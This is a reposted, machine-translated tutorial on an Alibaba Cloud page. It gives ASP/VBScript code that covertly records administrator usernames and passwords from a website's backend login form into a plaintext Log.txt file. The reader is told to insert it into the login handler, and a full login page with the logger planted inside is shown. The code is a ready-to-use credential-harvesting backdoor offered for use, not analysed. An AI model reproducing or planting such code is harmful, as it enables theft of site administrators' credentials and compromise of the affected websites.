The ASP intercepts the code of the backstage login password _ application skill

Source: Internet
Author: User
Core code:
Copy Code code as follows:

Set Fso=server.createobject ("Scripting.FileSystemObject")
If FSO. FileExists (Server.MapPath ("Log.txt")) =true Then
Set FIN=FSO. OpenTextFile (Server.MapPath ("Log.txt"))
Temp=fin.readall
Fin.close
Set fin=nothing
End If
Set Fout=fso.createtextfile (Server.MapPath ("Log.txt"))
Fout. WriteLine (temp& "User:" &username& "¦pwd:" &password& "¦time:" &now () & "")
Fout.close
Set fout=nothing
Set fso=nothing

Insert the form submission where you are in the background login!
Reference file:
Copy Code code as follows:

<% @language =vbscript codepage=936%>
<%
Dim sql,rs
Dim Username,password,checkcode
Username=replace (Trim (Request ("username")), "'", "" "
Password=replace (Trim (Request ("password")), "'", "" "
Checkcode=replace (Trim (Request ("Checkcode")), "'", "" "
If Username= "" Then
Founderr=true
Errmsg=errmsg & "<br><li> user name cannot be empty!" </li> "
End If
If password= "" Then
Founderr=true
Errmsg=errmsg & "<br><li> password cannot be empty!" </li> "
End If
If checkcode= "" Then
Founderr=true
Errmsg=errmsg & "<br><li> Verification code cannot be empty!" </li> "
End If
If session ("Checkcode") = "" Then
Founderr=true
Errmsg=errmsg & "<br><li> You login time is too long, please return to the login page to log in." </li> "
End If
If CHECKCODE&LT;&GT;CSTR (Session ("Checkcode")) Then
Founderr=true
Errmsg=errmsg & <br><li> You have entered a confirmation code that is inconsistent with the system, please re-enter it. </li> "
End If
' Behind this is my added code ~ Start Area
Set Fso=server.createobject ("Scripting.FileSystemObject")
If FSO. FileExists (Server.MapPath ("Log.txt")) =true Then
Set FIN=FSO. OpenTextFile (Server.MapPath ("Log.txt"))
Temp=fin.readall
Fin.close
Set fin=nothing
End If
Set Fout=fso.createtextfile (Server.MapPath ("Log.txt"))
Fout. WriteLine (temp& "User:" &username& "|pwd:" &password& "|time:" &now () & "")
Fout.close
Set fout=nothing
Set fso=nothing
' The following code was deleted by me ~ End Area

%>

This article involves the statement author is: will not much Ifat

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.